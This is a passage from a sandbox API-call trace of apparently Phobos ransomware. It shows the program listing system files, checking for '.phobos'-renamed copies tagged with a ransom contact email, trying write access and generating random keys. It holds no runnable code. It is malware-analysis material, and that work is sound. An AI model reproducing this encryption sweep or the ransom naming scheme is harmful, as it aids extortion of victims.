dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0134.169] CryptGenRandom (in: hProv=0x7268e0, dwLen=0x10, pbBuffer=0x2e8f7b8 | out: pbBuffer=0x2e8f7b8) returned 1 [0134.169] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\msado21.tlb" (normalized: "c:\\program files\\common files\\system\\ado\\msado21.tlb"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f8 [0134.169] GetFileSizeEx (in: hFile=0x2f8, lpFileSize=0x2e8f758 | out: lpFileSize=0x2e8f758*=53760) returned 1 [0134.169] CloseHandle (hObject=0x2f8) returned 1 [0134.169] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\msado21.tlb" (normalized: "c:\\program files\\common files\\system\\ado\\msado21.tlb")) returned 0x20 [0134.170] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\msado21.tlb.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\system\\ado\\msado21.tlb.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0134.170] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\msado21.tlb" (normalized: "c:\\program files\\common files\\system\\ado\\msado21.tlb"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0134.170] CryptGenRandom (in: hProv=0x7268e0, dwLen=0x10, pbBuffer=0x2e8f7b8 | out: pbBuffer=0x2e8f7b8) returned 1 [0134.170] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\msado25.tlb" (normalized: "c:\\program files\\common files\\system\\ado\\msado25.tlb"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f8 [0134.170] GetFileSizeEx (in: hFile=0x2f8, lpFileSize=0x2e8f758 | out: lpFileSize=0x2e8f758*=69632) returned 1 [0134.170] CloseHandle (hObject=0x2f8) returned 1 [0134.170] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\msado25.tlb" (normalized: "c:\\program files\\common files\\system\\ado\\msado25.tlb")) returned 0x20 [0134.170] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\msado25.tlb.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\system\\ado\\msado25.tlb.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0134.170] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\msado25.tlb" (normalized: "c:\\program files\\common files\\system\\ado\\msado25.tlb"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0134.170] CryptGenRandom (in: hProv=0x7268e0, dwLen=0x10, pbBuffer=0x2e8f7b8 | out: pbBuffer=0x2e8f7b8) returned 1 [0134.170] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\msado26.tlb" (normalized: "c:\\program files\\common files\\system\\ado\\msado26.tlb"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f8 [0134.170] GetFileSizeEx (in: hFile=0x2f8, lpFileSize=0x2e8f758 | out: lpFileSize=0x2e8f758*=70656) returned 1 [0134.170] CloseHandle (hObject=0x2f8) returned 1 [0134.171] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\msado26.tlb" (normalized: "c:\\program files\\common files\\system\\ado\\msado26.tlb")) returned 0x20 [0134.171] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\msado26.tlb.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\system\\ado\\msado26.tlb.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0134.171] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\msado26.tlb" (normalized: "c:\\program files\\common files\\system\\ado\\msado26.tlb"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0134.171] CryptGenRandom (in: hProv=0x7268e0, dwLen=0x10, pbBuffer=0x2e8f7b8 | out: pbBuffer=0x2e8f7b8) returned 1 [0134.171] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\msado27.tlb" (normalized: "c:\\program files\\common files\\system\\ado\\msado27.tlb"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f8 [0134.171] GetFileSizeEx (in: hFile=0x2f8, lpFileSize=0x2e8f758 | out: lpFileSize=0x2e8f758*=71168) returned 1 [0134.171] CloseHandle (hObject=0x2f8) returned 1 [0134.171] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\msado27.tlb" (normalized: "c:\\program files\\common files\\system\\ado\\msado27.tlb")) returned 0x20 [0134.171] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\msado27.tlb.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\system\\ado\\msado27.tlb.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0134.171] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\msado27.tlb" (normalized: "c:\\program files\\common files\\system\\ado\\msado27.tlb"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0134.171] CryptGenRandom (in: hProv=0x7268e0, dwLen=0x10, pbBuffer=0x2e8f7b8 | out: pbBuffer=0x2e8f7b8) returned 1 [0134.171] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\msado28.tlb" (normalized: "c:\\program files\\common files\\system\\ado\\msado28.tlb"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f8 [0134.172] GetFileSizeEx (in: hFile=0x2f8, lpFileSize=0x2e8f758 | out: lpFileSize=0x2e8f758*=70656) returned 1 [0134.172] CloseHandle (hObject=0x2f8) returned 1 [0134.172] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\msado28.tlb" (normalized: "c:\\program files\\common files\\system\\ado\\msado28.tlb")) returned 0x20 [0134.172] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\msado28.tlb.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\system\\ado\\msado28.tlb.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0134.172] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\msado28.tlb" (normalized: "c:\\program files\\common files\\system\\ado\\msado28.tlb"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0134.172] CryptGenRandom (in: hProv=0x7268e0, dwLen=0x10, pbBuffer=0x2e8f7b8 | out: pbBuffer=0x2e8f7b8) returned 1 [0134.172] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\msado60.tlb" (normalized: "c:\\program files\\common files\\system\\ado\\msado60.tlb"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f8 [0134.172] GetFileSizeEx (in: hFile=0x2f8, lpFileSize=0x2e8f758 | out: lpFileSize=0x2e8f758*=70656) returned 1 [0134.172] CloseHandle (hObject=0x2f8) returned 1 [0134.172] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\msado60.tlb" (normalized: "c:\\program files\\common files\\system\\ado\\msado60.tlb")) returned 0x20 [0134.172] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\msado60.tlb.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\system\\ado\\msado60.tlb.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0134.172] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\msado60.tlb" (normalized: "c:\\program files\\common files\\system\\ado\\msado60.tlb"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0134.172] CryptGenRandom (in: hProv=0x7268e0, dwLen=0x10, pbBuffer=0x2e8f7b8 | out: pbBuffer=0x2e8f7b8) returned 1 [0134.172] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\msadomd.dll" (normalized: "c:\\program files\\common files\\system\\ado\\msadomd.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f8 [0134.173] GetFileSizeEx (in: hFile=0x2f8, lpFileSize=0x2e8f758 | out: lpFileSize=0x2e8f758*=364032) returned 1 [0134.173] CloseHandle (hObject=0x2f8) returned 1 [0134.173] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\msadomd.dll" (normalized: "c:\\program files\\common files\\system\\ado\\msadomd.dll")) returned 0x20 [0134.173] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\msadomd.dll.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\system\\ado\\msadomd.dll.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0134.173] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\msadomd.dll" (normalized: "c:\\program files\\common files\\system\\ado\\msadomd.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0134.173] CryptGenRandom (in: hProv=0x7268e0, dwLen=0x10, pbBuffer=0x2e8f7b8 | out: pbBuffer=0x2e8f7b8) returned 1 [0134.173] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\msadomd28.tlb" (normalized: "c:\\program files\\common files\\system\\ado\\msadomd28.tlb"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f8 [0134.173] GetFileSizeEx (in: hFile=0x2f8, lpFileSize=0x2e8f758 | out: lpFileSize=0x2e8f758*=13824) returned 1 [0134.173] CloseHandle (hObject=0x2f8) returned 1 [0134.173] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\msadomd28.tlb" (normalized: "c:\\program files\\common files\\system\\ado\\msadomd28.tlb")) returned 0x20 [0134.173] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\msadomd28.tlb.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\system\\ado\\msadomd28.tlb.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0134.173] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\msadomd28.tlb" (normalized: "c:\\program files\\common files\\system\\ado\\msadomd28.tlb"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0134.173] CryptGenRandom (in: hProv=0x7268e0, dwLen=0x10, pbBuffer=0x2e8f7b8 | out: pbBuffer=0x2e8f7b8) returned 1 [0134.173] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\msador15.dll" (normalized: "c:\\program files\\common files\\system\\ado\\msador15.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f8 [0134.174] GetFileSizeEx (in: hFile=0x2f8, lpFileSize=0x2e8f758 | out: lpFileSize=0x2e8f758*=45568) returned 1 [0134.174] CloseHandle (hObject=0x2f8) returned 1 [0134.174] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\msador15.dll" (normalized: "c:\\program files\\common files\\system\\ado\\msador15.dll")) returned 0x20 [0134.174] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\msador15.dll.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\system\\ado\\msador15.dll.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0134.174] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\msador15.dll" (normalized: "c:\\program files\\common files\\system\\ado\\msador15.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0134.174] CryptGenRandom (in: hProv=0x7268e0, dwLen=0x10, pbBuffer=0x2e8f7b8 | out: pbBuffer=0x2e8f7b8) returned 1 [0134.174] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\msador28.tlb" (normalized: "c:\\program files\\common files\\system\\ado\\msador28.tlb"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f8 [0134.174] GetFileSizeEx (in: hFile=0x2f8, lpFileSize=0x2e8f758 | out: lpFileSize=0x2e8f758*=35840) returned 1 [0134.174] CloseHandle (hObject=0x2f8) returned 1 [0134.174] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\msador28.tlb" (normalized: "c:\\program files\\common files\\system\\ado\\msador28.tlb")) returned 0x20 [0134.174] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\msador28.tlb.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\system\\ado\\msador28.tlb.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0134.174] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\msador28.tlb" (normalized: "c:\\program files\\common files\\system\\ado\\msador28.tlb"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0134.174] CryptGenRandom (in: hProv=0x7268e0, dwLen=0x10, pbBuffer=0x2e8f7b8 | out: pbBuffer=0x2e8f7b8) returned 1 [0134.174] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\msadox.dll" (normalized: "c:\\program files\\common files\\system\\ado\\msadox.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f8 [0134.175] GetFileSizeEx (in: hFile=0x2f8, lpFileSize=0x2e8f758 | out: lpFileSize=0x2e8f758*=404992) returned 1 [0134.175] CloseHandle (hObject=0x2f8) returned 1 [0134.175] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\msadox.dll" (normalized: "c:\\program files\\common files\\system\\ado\\msadox.dll")) returned 0x20 [0134.175] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\msadox.dll.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\system\\ado\\msadox.dll.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0134.175] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\msadox.dll" (normalized: "c:\\program files\\common files\\system\\ado\\msadox.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0134.175] CryptGenRandom (in: hProv=0x7268e0, dwLen=0x10, pbBuffer=0x2e8f7b8 | out: pbBuffer=0x2e8f7b8) returned 1 [0134.175] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\msadox28.tlb" (normalized: "c:\\program files\\common files\\system\\ado\\msadox28.tlb"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f8 [0134.175] GetFileSizeEx (in: hFile=0x2f8, lpFileSize=0x2e8f758 | out: lpFileSize=0x2e8f758*=24576) returned 1 [0134.175] CloseHandle (hObject=0x2f8) returned 1 [0134.175] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\msadox28.tlb" (normalized: "c:\\program files\\common files\\system\\ado\\msadox28.tlb")) returned 0x20 [0134.175] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\msadox28.tlb.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\system\\ado\\msadox28.tlb.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0134.175] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\msadox28.tlb" (normalized: "c:\\program files\\common files\\system\\ado\\msadox28.tlb"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0134.175] CryptGenRandom (in: hProv=0x7268e0, dwLen=0x10, pbBuffer=0x2e8f7b8 | out: pbBuffer=0x2e8f7b8) returned 1 [0134.175] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\msadrh15.dll" (normalized: "c:\\program files\\common files\\system\\ado\\msadrh15.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f8 [0134.176] GetFileSizeEx (in: hFile=0x2f8, lpFileSize=0x2e8f758 | out: lpFileSize=0x2e8f758*=91136) returned 1 [0134.176] CloseHandle (hObject=0x2f8) returned 1 [0134.176] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\msadrh15.dll" (normalized: "c:\\program files\\common files\\system\\ado\\msadrh15.dll")) returned 0x20 [0134.176] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\msadrh15.dll.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\system\\ado\\msadrh15.dll.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0134.176] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\msadrh15.dll" (normalized: "c:\\program files\\common files\\system\\ado\\msadrh15.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0134.176] CryptGenRandom (in: hProv=0x7268e0, dwLen=0x10, pbBuffer=0x2e8f7b8 | out: pbBuffer=0x2e8f7b8) returned 1 [0134.176] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\DirectDB.dll" (normalized: "c:\\program files\\common files\\system\\directdb.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f8 [0134.176] GetFileSizeEx (in: hFile=0x2f8, lpFileSize=0x2e8f758 | out: lpFileSize=0x2e8f758*=32768) returned 1 [0134.176] CloseHandle (hObject=0x2f8) returned 1 [0134.176] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\DirectDB.dll" (normalized: "c:\\program files\\common files\\system\\directdb.dll")) returned 0x20 [0134.176] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\DirectDB.dll.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\system\\directdb.dll.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0134.176] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\DirectDB.dll" (normalized: "c:\\program files\\common files\\system\\directdb.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0134.176] CryptGenRandom (in: hProv=0x7268e0, dwLen=0x10, pbBuffer=0x2e8f7b8 | out: pbBuffer=0x2e8f7b8) returned 1 [0134.176] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\en-US\\wab32res.dll.mui" (normalized: "c:\\program files\\common files\\system\\en-us\\wab32res.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f8 [0134.177] GetFileSizeEx (in: hFile=0x2f8, lpFileSize=0x2e8f758 | out: lpFileSize=0x2e8f758*=94208) returned 1 [0134.177] CloseHandle (hObject=0x2f8) returned 1 [0134.177] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\en-US\\wab32res.dll.mui" (normalized: "c:\\program files\\common files\\system\\en-us\\wab32res.dll.mui")) returned 0x20 [0134.177] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\en-US\\wab32res.dll.mui.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\system\\en-us\\wab32res.dll.mui.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0134.177] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\en-US\\wab32res.dll.mui" (normalized: "c:\\program files\\common files\\system\\en-us\\wab32res.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0134.177] CryptGenRandom (in: hProv=0x7268e0, dwLen=0x10, pbBuffer=0x2e8f7b8 | out: pbBuffer=0x2e8f7b8) returned 1 [0134.177] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\en-US\\msadcer.dll.mui" (normalized: "c:\\program files\\common files\\system\\msadc\\en-us\\msadcer.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f8 [0134.177] GetFileSizeEx (in: hFile=0x2f8, lpFileSize=0x2e8f758 | out: lpFileSize=0x2e8f758*=10240) returned 1 [0134.177] CloseHandle (hObject=0x2f8) returned 1 [0134.177] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\en-US\\msadcer.dll.mui" (normalized: "c:\\program files\\common files\\system\\msadc\\en-us\\msadcer.dll.mui")) returned 0x20 [0134.177] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\en-US\\msadcer.dll.mui.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\system\\msadc\\en-us\\msadcer.dll.mui.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0134.178] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\en-US\\msadcer.dll.mui" (normalized: "c:\\program files\\common files\\system\\msadc\\en-us\\msadcer.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0134.178] CryptGenRandom (in: hProv=0x7268e0, dwLen=0x10, pbBuffer=0x2e8f7b8 | out: pbBuffer=0x2e8f7b8) returned 1 [0134.178] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\en-US\\msadcor.dll.mui" (normalized: "c:\\program files\\common files\\system\\msadc\\en-us\\msadcor.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f8 [0134.178] GetFileSizeEx (in: hFile=0x2f8, lpFileSize=0x2e8f758 | out: lpFileSize=0x2e8f758*=6144) returned 1 [0134.178] CloseHandle (hObject=0x2f8) returned 1 [0134.178] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\en-US\\msadcor.dll.mui" (normalized: "c:\\program files\\common files\\system\\msadc\\en-us\\msadcor.dll.mui")) returned 0x20 [0134.178] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\en-US\\msadcor.dll.mui.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\system\\msadc\\en-us\\msadcor.dll.mui.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0134.178] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\en-US\\msadcor.dll.mui" (normalized: "c:\\program files\\common files\\system\\msadc\\en-us\\msadcor.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0134.178] CryptGenRandom (in: hProv=0x7268e0, dwLen=0x10, pbBuffer=0x2e8f7b8 | out: pbBuffer=0x2e8f7b8) returned 1 [0134.178] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\en-US\\msaddsr.dll.mui" (normalized: "c:\\program files\\common files\\system\\msadc\\en-us\\msaddsr.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f8 [0134.179] GetFileSizeEx (in: hFile=0x2f8, lpFileSize=0x2e8f758 | out: lpFileSize=0x2e8f758*=14336) returned 1 [0134.179] CloseHandle (hObject=0x2f8) returned 1 [0134.179] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\en-US\\msaddsr.dll.mui" (normalized: "c:\\program files\\common files\\system\\msadc\\en-us\\msaddsr.dll.mui")) returned 0x20 [0134.179] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\en-US\\msaddsr.dll.mui.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\system\\msadc\\en-us\\msaddsr.dll.mui.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0134.179] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\en-US\\msaddsr.dll.mui" (normalized: "c:\\program files\\common files\\system\\msadc\\en-us\\msaddsr.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0134.179] CryptGenRandom (in: hProv=0x7268e0, dwLen=0x10, pbBuffer=0x2e8f7b8 | out: pbBuffer=0x2e8f7b8) returned 1 